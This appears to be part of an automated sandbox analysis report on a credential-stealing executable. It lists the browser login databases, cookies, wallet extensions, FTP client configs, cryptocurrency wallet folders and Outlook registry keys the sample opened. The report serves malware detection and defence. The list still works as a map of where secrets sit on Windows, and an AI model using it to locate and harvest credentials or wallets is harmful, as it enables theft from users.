Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
